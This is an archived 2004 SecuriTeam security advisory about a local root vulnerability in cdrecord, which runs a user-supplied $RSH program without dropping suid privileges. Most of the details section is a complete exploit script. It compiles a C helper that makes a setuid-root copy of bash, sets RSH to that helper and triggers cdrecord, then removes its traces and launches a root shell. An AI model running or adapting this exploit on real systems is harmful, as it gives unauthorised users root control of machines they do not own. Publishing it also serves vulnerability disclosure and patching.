[EXPL] Cdrecord RSH SUID Shell Creation

From: SecuriTeam (support_at_securiteam.com)
Date: 09/14/04

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Date: 14 Sep 2004 13:43:48 +0200

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      Cdrecord RSH SUID Shell Creation
    ------------------------------------------------------------------------

    SUMMARY

    Max Vozeler found that the
    <http://www.fokus.gmd.de/research/cc/glone/employees/joerg.schilling/private/cdrecord.html> cdrecord program, which can be installed as suid root, fails to drop euid=0 when it exec()s a program specified by the user through the $RSH environment variable. This can be abused by a local attacker to obtain root privileges.

    DETAILS

    This shell script writes out and compiles a C application which sets it's
    UID to it's EUID and copies a SUID shell to the current directory,
    compiles it, then uses cdrecord's use of the $RSH environment variable to
    execute it. It then cleans up it's mess and executes the shell for
    convenience.
    *Note: This exploit is written assuming your target shell is bash

    Max Vozeler is credited with discovering this vulnerability as stated in
    the <http://lwn.net/Alerts/101255/> Mandrake Linux security advisory
    MDKSA-2004:091.

    Exploit Code:
    #!/bin/bash

    #
    # cdrecord-suidshell.sh - I)ruid [CAU] (09.2004)
    #
    # Exploits cdrecord's exec() of $RSH before dropping privs
    #

    cat > ./cpbinbash.c << __EOF__
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>

    main( int argc, char *argv[] ) {
            int fd1, fd2;
            int count;
            char buffer[1];

            /* Set ID's */
            setuid( geteuid() );
            setgid( geteuid() );

            /* Copy the shell */
            if ((fd1=open( "/bin/bash", O_RDONLY))<0)
                    return -1;
            if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)
                    return -1;
            while((count=read(fd1, buffer, 1)))
                    write(fd2, buffer, count);
            free(buffer);
            close( fd1 );
            close( fd2 );

            /* Priv the shell */
            chown( "./bash", geteuid(), geteuid() );
            chmod( "./bash", 3565 );
    }
    __EOF__

    cc ./cpbinbash.c -o ./cpbinbash

    # Set up environment
    export RSHSAVE=$RSH
    export RSH=./cpbinbash

    # Sploit
    cdrecord dev= REMOTE:CAU:1,0,0 -

    # Cleanup
    rm cpbinbash*
    export RSH=$RSHSAVE
    export RSHSAVE=

    # Use our suid bash
    /bash -p

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:druid@caughq.org> I)ruid.

    ========================================

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